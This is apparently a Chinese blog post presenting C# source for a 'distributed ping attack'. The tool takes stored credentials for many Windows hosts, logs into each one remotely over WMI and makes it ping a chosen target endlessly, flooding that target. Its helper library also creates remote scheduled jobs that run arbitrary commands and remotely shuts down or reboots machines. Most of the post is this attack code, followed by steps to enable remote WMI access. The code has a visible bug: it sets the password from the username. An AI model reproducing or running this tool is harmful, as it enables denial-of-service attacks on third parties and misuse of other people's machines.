wxzself经验分享 WMI分布式Ping攻击,无需安装软件

0
(0)

1 微软 WMI 简介

Windows 管理规范(WMI)是 微软的Windows 包含的管理技术及标准,通过 WMI 可以管理本地和远程计算机。WMI 提供对服务、进程和很多的 Windows 系统对象的访问。WMI 设计使用面向对象的模型来进行内容组织,它叫做通用信息模型(CIM),CIM 被包含在分布式管理任务组(DMTF) ( http://www.dmtf.org)。

WMI支持编程语言和脚本语言使用相同的形式来编写代码,它提供对象查询、属性获取、方法调用、事件挂接。还有元数据提供。因为它是面向对象的,所以新建的对象可以继承与其它对象,这样扩展起来很方便,微软也是这么干的。通过 WMI,用户可以得到进程列表、服务列表,启动、停止服务,关闭、重启电脑,查看远程事件日志等等。

程序运行

开发运行环境:.Net Framework 4.5,VS2013,SQL Server 2008R2,Entity Framework 5.0。在开发阶段,还需要做以下事情:

  1. 建立数据表 PingAttack 结构见下:
NameTypeSizeDefaultAllowNullPK备注
Idint  falseTrue主机键
IsLocalhostbit 0false 是本机
Hostnvarchar(256)1 True 如果是本机,输入  .
UserNamenvarchar(256)  True 用户名称,其它主机必须是:Host\UserName
Passwordnvarchar(256)  True 口令
Descriptionnvarchar(max)  True 备注

2)使用Entity framework 5.0 的EDM框架,通过数据库生成实体及容器。

3)编译代码,执行 SqlServer_PingAttack.exe。运行结果见后面的截图。要退出攻击任务请关机。

关键代码

1)WMITools程序集全部代码(WMIToolsCore.cs):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;



namespace WMITools
{

    #region WMI连接信息类


    /// <summary>
    /// WMI连接信息类
    /// </summary>
    public class WMIConnect
    {

        #region 成员



        /// <summary>
        /// 要求高权限,本地远程都可用
        /// </summary>
        public virtual bool EnablePrivileges { get; set; }

        /// <summary>
        /// 是否本地
        /// </summary>
        public virtual bool IsLocalhost { get; set; }

        /// <summary>
        /// 主机,本地必须为  .  ,远程必须为主机名称
        /// </summary>
        public virtual string Host { get; set; }

        /// <summary>
        /// 用户名,本地不用,非域主机用户名称加主机及反斜杠,例如:win7x32\administrator
        /// </summary>
        public virtual string UserName { get; set; }

        /// <summary>
        /// 口令,本地不用
        /// </summary>
        public virtual string Password { get; set; }

        /// <summary>
        /// 仅域使用,本地不用,非域主机这里留空
        /// </summary>
        public virtual string Authority { get; set; }


        /// <summary>
        /// COM验证级别,本地不用,默认Packet
        /// </summary>
        public virtual AuthenticationLevel Authentication { get; set; }

        /// <summary>
        /// 连接时用到的模拟级别,本地不用,默认Impersonate
        /// </summary>
        public virtual ImpersonationLevel Impersonation { get; set; }


        /// <summary>
        /// 默认名称空间
        /// </summary>
        public static string DefaultNamespace = @"root\cimv2";


        #endregion 成员

        #region 方法


        /// <summary>
        /// 公开构造
        /// </summary>
        public WMIConnect()
        {
            Impersonation = ImpersonationLevel.Impersonate;
            Authentication = AuthenticationLevel.Packet;
            EnablePrivileges = true;
        }

        /// <summary>
        /// 得到默认名称空间连接上下文
        /// </summary>
        /// <returns>连接上下文</returns>
        public virtual ManagementScope GetManagementScope()
        {
            return GetManagementScope(DefaultNamespace);
        }

        /// <summary>
        /// 得到指定名称空间连接上下文 
        /// </summary>
        /// <param name="nameSpace">名称空间</param>
        /// <returns>连接上下文</returns>
        public virtual ManagementScope GetManagementScope(string nameSpace)
        {
            ConnectionOptions co = new ConnectionOptions();
            co.EnablePrivileges = EnablePrivileges;
            ManagementScope ms = null;
            try
            {
                if (IsLocalhost)
                {
                    //连接本地计算机
                    ms = new ManagementScope(nameSpace, co);
                    return ms;
                }
                else
                {
                    // 连接远程计算机
                    if (!string.IsNullOrEmpty(Authority))
                        co.Authority = string.Format(@"ntlmdomain:{0}", Authority);
                    co.Authentication = Authentication;
                    co.Impersonation = Impersonation;
                    co.Username = UserName;
                    co.Password = Password;
                    string path = string.Format(@"\\{0}\{1}", Host, nameSpace);
                    ms = new ManagementScope(path, co);
                    return ms;
                }
            }
            catch(Exception ex)
            {
                throw ex;
            }
        }


        /// <summary>
        /// 得到本地主机默认名称空间连接上下文
        /// </summary>
        /// <returns>连接上下文</returns>
        public static ManagementScope GetLocalhostManagementScope()
        {
            return GetLocalhostManagementScope(DefaultNamespace);
        }

        /// <summary>
        /// 得到本地主机指定名称空间连接上下文 
        /// </summary>
        /// <param name="nameSpace">名称空间</param>
        /// <returns>连接上下文</returns>
        public static ManagementScope GetLocalhostManagementScope(string nameSpace)
        {
            ConnectionOptions co = new ConnectionOptions();
            co.EnablePrivileges = true;
            ManagementScope ms = null;
            //连接本地计算机
            ms = new ManagementScope(nameSpace, co);
            return ms;
        }


        #endregion 方法

    }

    #endregion WMI连接信息类



    #region WMI工具类

    /// <summary>
    /// wmi工具类
    /// </summary>
    public class Tools
    {
        

        #region PING 方法

    
        /// <summary>
        /// 从本机开始ping
        /// </summary>
        /// <param name="host">主机或ip</param>
        /// <returns>结果状态</returns>
        public static PingReturnStatusCode PingFromLocalhost(string host)
        {
            var qms = WMIConnect.GetLocalhostManagementScope();
            return Ping(qms, host);
        }

        /// <summary>
        /// 从指定主机开始ping
        /// </summary>
        /// <param name="ms">主机上下文</param>
        /// <param name="host">主机或ip</param>
        /// <returns>结果状态</returns>
        public static PingReturnStatusCode Ping(ManagementScope ms, string host)
        {
            var status = PingReturnStatusCode.一般性错误;
            try
            {
                string searchString = @" select * from win32_PingStatus where Address = '{0}' ";
                searchString = string.Format(searchString, host);
                var oq = new ObjectQuery(searchString);

                using (var searcher = new ManagementObjectSearcher(ms, oq))
                using (ManagementObject result = searcher.Get().Cast<ManagementObject>().FirstOrDefault())
                {
                    if ((result != null) && (result.Properties["StatusCode"].Value != null))
                    {
                        object obj = result.Properties["StatusCode"].Value;
                        uint i;
                        if (uint.TryParse(obj.ToString(), out i))
                            status = (PingReturnStatusCode)i;
                        return status;
                    }
                    else
                        status = PingReturnStatusCode.目标主机不可达;
                }
            }
            catch 
            {
                status = PingReturnStatusCode.系统发生了错误;
                return status;
            }

            return status;
        }

        /// <summary>
        /// ping的结果返回枚举
        /// </summary>
        public enum PingReturnStatusCode : uint
        {
            PING成功 = 0, //Success (0)

            缓冲区过小 = 11001, //Buffer Too Small (11001)

            目标网络不可达 = 11002, //Destination Net Unreachable (11002)

            目标主机不可达 = 11003, //Destination Host Unreachable (11003)

            目标协议不可达 = 11004, //Destination Protocol Unreachable (11004)

            目标端口不可达 = 11005,  //Destination Port Unreachable (11005)

            没有资源 = 11006, //No Resources (11006)

            错误选项 = 11007, //Bad Option (11007)

            硬件错误 = 11008, //Hardware Error (11008)

            包太大 = 11009, //Packet Too Big (11009)

            请求超时 = 11010, //Request Timed Out (11010)

            错误请求 = 11011, //Bad Request (11011)

            错误路由 = 11012, //Bad Route (11012)

            超时过期丢弃 = 11013, //TimeToLive Expired Transit (11013)

            超时过期重组 = 11014, //TimeToLive Expired Reassembly (11014)

            参数问题 = 11015, //Parameter Problem (11015)

            来源被关闭 = 11016, //Source Quench (11016)

            选项太长 = 11017, //Option Too Big (11017)

            错误目标 = 11018, //Bad Destination (11018)

            IPSEC错误 = 11032, //GNegotiating IPSEC (11032)

            一般性错误 = 11050, //General Failure (11050)

            系统发生了错误 = 20000 //为了wmi的错误由我们单独追加

        }


        #endregion PING 方法


        #region 任务计划

        /// <summary>
        /// 创建计划任务,如果创建任务无法运行(win7),把任务计划的账号从系统改为管理员!!!
        /// </summary>
        /// <param name="ms">上下文</param>
        /// <param name="cmd">命令</param>
        /// <param name="start">开始时间,启动时间会再加一分钟</param>
        /// <param name="showDesk">显示桌面</param>
        /// <param name="repeat">是否重复</param>
        /// <param name="daysOfMonth">月重复</param>
        /// <param name="daysOfWeek">周重复</param>
        /// <*returns>任务id</returns>
        public static string CreateJob(ManagementScope ms, string cmd, DateTime start,
            bool showDesk =true, bool repeat = false, int daysOfMonth = 0, int daysOfWeek = 0)
        {
            DateTime newtime = start.AddMinutes(1);
            string strJobId = "";
            try
            {
                ManagementClass classInstance = new ManagementClass(ms, new ManagementPath("Win32_ScheduledJob"), null);
                ManagementBaseObject inParams = classInstance.GetMethodParameters("Create");
                inParams["Command"] =cmd;
                inParams["InteractWithDesktop"] = showDesk;
                inParams["RunRepeatedly"] = repeat;
                if (daysOfMonth > 0)
                    inParams["DaysOfMonth"] = daysOfMonth;
                if (daysOfWeek > 0)
                    inParams["DaysOfWeek"] = daysOfWeek;
               var args = string.Format("{0:d4}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}.000000+480",
                   newtime.Year, newtime.Month, newtime.Day, newtime.Hour, newtime.Minute, newtime.Second);
               inParams["StartTime"] = args;
                                       // YYYYMMDDhhmmss.000000
               //inParams["StartTime"] = "20101129105409.000000+480";     //   +480 (+8 * 60) 
                ManagementBaseObject outParams = classInstance.InvokeMethod("Create", inParams, null);
                strJobId = outParams["JobId"].ToString();
                return strJobId;
            }
            catch (Exception ex)
            {
                throw ex;
            }

        }

        /*
         
         周重复                                                               月重复
        
        Monday (1)                                                            1  第一天
        Tuesday (2)                                                           2  第二天
        Wednesday (4)                                                         4  第三天
        Thursday (8)                                                          8  第四天
        Friday (16)                                                           16 第五天
        Saturday (32)                                                         ...
        Sunday (64)                                                           134217728 第28天
                                                                              268435456 第29天
                                                                              536870912 第30天
                                                                              1073741824 第31天
        */

        #endregion 任务计划


        #region 关机或重启

        /// <summary>
        /// 关机或重启
        /// </summary>
        /// <param name="ms">上下文</param>
        /// <param name="repeat">是否shutdown</param>
        /// <*returns>bool</returns>
        public static bool ShutdownOrReboot(ManagementScope ms, bool isShutdown)
        {
           // object ret = null;
            try


            {
                ObjectQuery oq = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
                ManagementObjectSearcher mos = new ManagementObjectSearcher(ms, oq);
                ManagementObjectCollection moc = mos.Get();
                foreach (ManagementObject mo in moc)
                {
                    string[] ss = new string[]{""};
                    object outParams = null;
                    if (isShutdown)
                        outParams = mo.InvokeMethod("Shutdown", ss);
                    else
                        outParams = mo.InvokeMethod("Reboot", ss);
                    return (outParams != null) && (outParams.ToString() == "0");
                }

                return false;


            }
            catch (Exception ex)
            {
                throw ex;
            }

        }

        /*
         
        返回值 0 成功,其它错误
         
        */

        #endregion 关机或重启



        #region 日期时间

        /// <summary>
        /// 从指定主机得到时间
        /// </summary>
        /// <param name="ms">主机上下文</param>
        /// <param name="error">错误</param>
        /// <returns>日期时间,可能为空</returns>
        public static DateTime? Win32_LocalTime(ManagementScope ms, out string error)
        {
            error = "";
            try
            {
                string searchString = @" select * from Win32_LocalTime ";
                var oq = new ObjectQuery(searchString);

                using (var searcher = new ManagementObjectSearcher(ms, oq))
                using (ManagementObject result = searcher.Get().Cast<ManagementObject>().FirstOrDefault())
                {
                    int Day = result["Day"] != null ? Convert.ToInt32( result["Day"]) : 0;
                    int Hour = result["Hour"] != null ? Convert.ToInt32( result["Hour"]) : 0;
                    int Minute = result["Minute"] != null ? Convert.ToInt32( result["Minute"]) : 0;
                    int Month = result["Month"] != null ? Convert.ToInt32( result["Month"]) : 0;
                    int Second = result["Second"] != null ? Convert.ToInt32( result["Second"]) : 0;
                    int Year = result["Year"] != null ? Convert.ToInt32( result["Year"]) : 0;

                    return new DateTime(Year, Month, Day, Hour, Minute, Second);

                }
                
            }
            catch
            {
                error = "查询时间时发生错误";
                return null;
            }

        }

        /*
        class Win32_LocalTime : Win32_CurrentTime
        {
            uint32 Day;
            uint32 DayOfWeek;
            uint32 Hour;
            uint32 Milliseconds;
            uint32 Minute;
            uint32 Month;
            uint32 Quarter;
            uint32 Second;
            uint32 WeekInMonth;
            uint32 Year;
        };
        */
        #endregion 日期时间

    }


    
    #endregion WMI工具类

}

2)SqlServer_PingAttack程序集攻击任务代码(Tools.cs):

using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using WMITools;



namespace SqlServer_PingAttack
{



    #region wmi ping 任务

    /// <summary>
    /// wmi ping 任务
    /// </summary>
    public class PingTask
    {
        
        /// <summary>
        /// 网格
        /// </summary>
        public DataGridView gridView { get; set; }
        

        /// <summary>
        /// 网格行号
        /// </summary>
        public int gridRowIndex { get; set; }

        /// <summary>
        /// 间隔休息毫秒
        /// </summary>
        public int sleepms { get; set; }

        /// <summary>
        /// 数据表对象
        /// </summary>
        public PingAttack attack { get; set; }

        /// <summary>
        /// ping主机
        /// </summary>
        public string pinghost { get; set; }

        /// <summary>
        /// Ping取消对象
        /// </summary>
        public virtual CancellationTokenSource ctsPing { get; set; }

        /// <summary>
        /// Ping执行任务
        /// </summary>
        public virtual Task pingTask { get; set; }

        
        /// <summary>
        /// Ping的线程方法
        /// </summary>
        /// <param name="attack">数据表对象</param>
        /// <param name="pinghost">ping主机</param>
        /// <param name="sleepms">中间间隔休息毫秒</param>
        public virtual void Ping(PingAttack attack, string pinghost, int sleepms)
        {
            this.attack = attack;
            this.pinghost = pinghost;
            this.sleepms = sleepms;
            ctsPing = new System.Threading.CancellationTokenSource();
            try
            {
                pingTask = new Task(() => PingCore(ctsPing), creationOptions: TaskCreationOptions.LongRunning);
                pingTask.Start();
            }
            catch 
            {
            }
        }

        /// <summary>
        /// 全部ping数量
        /// </summary>
        public int AllPingCount { get; set; }

        /// <summary>
        /// 成功ping数量
        /// </summary>
        public int SuccPingCount { get; set; }

        /// <summary>
        /// 失败ping数量
        /// </summary>
        public int FailPingCount { get; set; }

        /// <summary>
        /// ping实际的执行方法
        /// </summary>
        /// <param name="cts">取消对象</param>
        public virtual void PingCore(System.Threading.CancellationTokenSource cts)
        {
            while (true)
            {
                cts.Token.ThrowIfCancellationRequested();
                try
                {
                    var qwmiconnect = new WMIConnect();
                    qwmiconnect.IsLocalhost = attack.IsLocalhost;

                    AllPingCount++;

                    if(!attack.IsLocalhost)
                    {
                        qwmiconnect.Host = attack.Host;
                        qwmiconnect.UserName = attack.UserName;
                        qwmiconnect.Password = attack.UserName;
                    }
                    else
                    {
                        qwmiconnect.Host = ".";
                    }
                    Task.Delay(sleepms, cts.Token).Wait();
                    ManagementScope ms = null;
                    try
                    {
                        ms = qwmiconnect.GetManagementScope();
                    }
                    catch 
                    {
                        FailPingCount++;
                        continue;
                    }
                    try
                    {
                        var succ = Tools.Ping(ms, pinghost);
                        var s2 = succ;
                        if (succ == Tools.PingReturnStatusCode.PING成功)
                            SuccPingCount++;
                        else
                            FailPingCount++;
                    }
                    catch 
                    {
                        FailPingCount++;
                        continue;
                    }
                    gridView["ColumnAllPingCount", gridRowIndex].Value = AllPingCount.ToString();
                    gridView["ColumnSuccPingCount", gridRowIndex].Value = SuccPingCount.ToString();
                    gridView["ColumnFailPingCount", gridRowIndex].Value = FailPingCount.ToString();
                }
                catch
                {
                }

                cts.Token.ThrowIfCancellationRequested();
            }
        }



        /// <summary>
        /// 停止线程方法
        /// </summary>
        public virtual void HaltPing()
        {
            try
            {
                if ((ctsPing != null) && (pingTask != null))
                {
                    ctsPing.Cancel(true);
                    pingTask.Wait();
                }
            }
            catch 
            {
            }
            finally
            {
                ctsPing = null;
                pingTask = null;
            }
            Task.Delay(sleepms).Wait();
        }


    }
    
    #endregion wmi ping 任务

}

3)SqlServer_PingAttack程序集主窗体代码(Tools.cs):

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace SqlServer_PingAttack
{
    /// <summary>
    /// ping攻击主窗体
    /// </summary>
    public partial class FormPing : Form
    {
        /// <summary>
        /// 公开构造
        /// </summary>
        public FormPing()
        {
            InitializeComponent();
        }

        /// <summary>
        /// 数据库对象集合
        /// </summary>
        List<PingAttack> data = new List<PingAttack>();

        /// <summary>
        /// 窗体加载
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void Form1_Load(object sender, EventArgs e)
        {
            Control.CheckForIllegalCrossThreadCalls = false;
            LoadData();
        }

        /// <summary>
        /// 装入数据库
        /// </summary>
        private void LoadData()
        {
            using (var book = new BookEntities())
                data = book.PingAttack.OrderBy(x => x.Id).ToList();
            pingAttackBindingSource.DataSource = data;
        }

        /// <summary>
        /// 要发起攻击的任务集合
        /// </summary>
        List<PingTask> pings = new List<PingTask>();

        /// <summary>
        /// 点击攻击按钮
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void buttonAttack_Click(object sender, EventArgs e)
        {
            buttonAttack.Enabled = false;

            int i = 0;
            pings = new List<PingTask>();
            foreach(var qa in data)
            {
                try
                {
                    PingTask pt = new PingTask();
                    pt.gridView = pingAttackDataGridView;
                    pt.gridRowIndex = i;
                    pings.Add(pt);
                    pingAttackDataGridView[ColumnStartTime.Name, i].Value = DateTime.Now.ToString();

                    pt.Ping(qa, textBoxPingDesthost.Text, Convert.ToInt32( numericSleep.Value));
                }
                catch
                {
                }
                i++;
            }
        }

        /// <summary>
        /// 窗体关闭之前
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void FormPing_FormClosing(object sender, FormClosingEventArgs e)
        {
            StopAll();
        }

        /// <summary>
        /// 全部停止
        /// </summary>
        private void StopAll()
        {
            foreach (var qa in pings)
            {
                try
                {
                    qa.HaltPing();
                }
                catch
                {
                }
            }
        }
    }
}

4 执行结果

1)程序的入口界面:

2)输入不存在的主机,然后点击
Attack攻击按钮,经过一段时间后的界面:

3)输入存在的主机,然后点击Attack攻击按钮,经过一段时间后的界面:

5 分布式PING 攻击流程图

6 WMI 配置远程访问

1) 要确信wmi安全容许远程访问

2)设置远程COM访问

3)打开防火墙端口

4)配置计算机策略

5)有关服务必须启动

这篇文章有用吗?

点击星号为它评分!

平均评分 0 / 5. 投票数: 0

到目前为止还没有投票!成为第一位评论此文章。

很抱歉,这篇文章对您没有用!

让我们改善这篇文章!

告诉我们我们如何改善这篇文章?

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注